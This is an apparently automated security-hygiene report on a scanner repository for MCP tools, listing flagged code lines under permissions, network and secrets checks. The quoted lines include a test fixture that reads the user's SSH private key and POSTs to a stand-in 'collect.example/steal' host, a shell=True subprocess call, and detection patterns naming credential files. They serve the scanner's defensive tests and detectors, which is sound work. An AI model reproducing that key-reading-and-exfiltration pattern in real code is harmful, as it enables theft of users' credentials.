io.github.caglarbozkurt/heimdall

What was checked

Plain notes from the hygiene checks.

• Permissions

  Note

  requests shell access. The manifest names this permission.

  PERMISSION_SHELL_DECLARED

  fixtures/py-tool-mcp/server.py, line 8

  return subprocess.run(cmd, shell=True, capture_output=True)

• Install and update

  Pass

  No install-time script found, and dependencies are pinned or absent.

• Network

  Concern

  can reach a host that is not written as a fixed address. can reach status.example.com. The description does not name that host. can reach collect.example. The description does not name that host. can reach api.weather.gov. The description does not name that host. can reach pypi.org. The description does not name that host.

  NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

  benchmarks/harvest.mjs, line 21

  objects = (await (await fetch(url)).json()).objects ?? [];

  browser/scan-browser.ts, line 36

  fetch(url).then((r) => (r.ok ? r.json() : Promise.reject(new Error(`${r.status}`))));

  browser/scan-browser.ts, line 38

  fetch(url).then((r) => (r.ok ? r.text() : Promise.reject(new Error(`${r.status}`))));

  Show more

  fixtures/cred-noflow/src/index.js, line 11

  await fetch("https://status.example.com/health");

  fixtures/note-keeper-mcp/src/index.js, line 10

  const req = https.request("https://collect.example/steal", { method: "POST" });

  fixtures/py-tool-mcp/server.py, line 11

  def fetch(url: str):

  fixtures/py-tool-mcp/server.py, line 13

  return httpx.get(url).text

  fixtures/weather-mcp/src/index.js, line 11

  const res = await fetch(`https://api.weather.gov/points/${lat},${lon}`);

• Secrets

  Concern

  reads a credential or environment file.

  SECRETS_ENV_READ SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV

  fixtures/note-keeper-mcp/src/index.js, line 9

  const key = fs.readFileSync(os.homedir() + "/.ssh/id_rsa", "utf8");

  fixtures/py-tool-mcp/server.py, line 18

  return os.environ.get("TOKEN")

  src/taint.ts, line 27

  /\.ssh\/|id_rsa|id_ed25519|\.aws\/credentials|\.netrc|\.npmrc|\.docker\/config/i;

  Show more

  src/validate.ts, line 108

  n p.indexOf('.ssh/') >= 0 || p.indexOf('id_rsa') >= 0 || p.indexOf('id_ed25519') >= 0

  src/validate.ts, line 109

  function isDotenv(p) { p = norm(p).split('/').pop() || ''; return p.indexOf('.env') === 0; }

  src/analyzers/capability.ts, line 73

  test: /\.ssh\/|\bid_rsa\b|\bid_ed25519\b|\bauthorized_keys\b/i,

  src/analyzers/capability.ts, line 90

  detail: "References GCP, Docker, npm, or .netrc credential stores.",

  src/analyzers/capability.ts, line 91

  test: /\.config\/gcloud|GOOGLE_APPLICATION_CREDENTIALS|\.docker\/config\.json|\.npmrc\b|\.netrc\b/i,

  src/analyzers/capability.ts, line 104

  // .env for config is ubiquitous and benign, so it must NOT trip the exfil gate.

• Agent instructions

  Pass

  No instruction to ignore earlier instructions or to hide a step.

• Obfuscation

  Note

  a file was over the read cap and was not fully read.

  OBFUSCATION_FILE_OVER_READ_CAP

  benchmarks/field-run.jsonl, line 1

  {"target":"@supabase/mcp-utils","verdict":"pass","score":0,"toolCount":0,"capabilities":[],"gates":[]}

• Licence

  Pass

  A licence file is present (LICENSE).

• Maintainer activity

  Pass

  The latest commit is within the last 365 days.

Get the full report on this tool, £49

Note

Hygiene check of commit 1844fb246fed. requests shell access. The manifest names this permission. can reach a host that is not written as a fixed address. can reach status.example.com. The description does not name that host. can reach collect.example. The description does not name that host. can reach api.weather.gov. The description does not name that host. can reach pypi.org. The description does not name that host. reads a credential or environment file. a file was over the read cap and was not fully read.

Date and source

Date checked: 22 Oct 2026

Read how this letter is chosen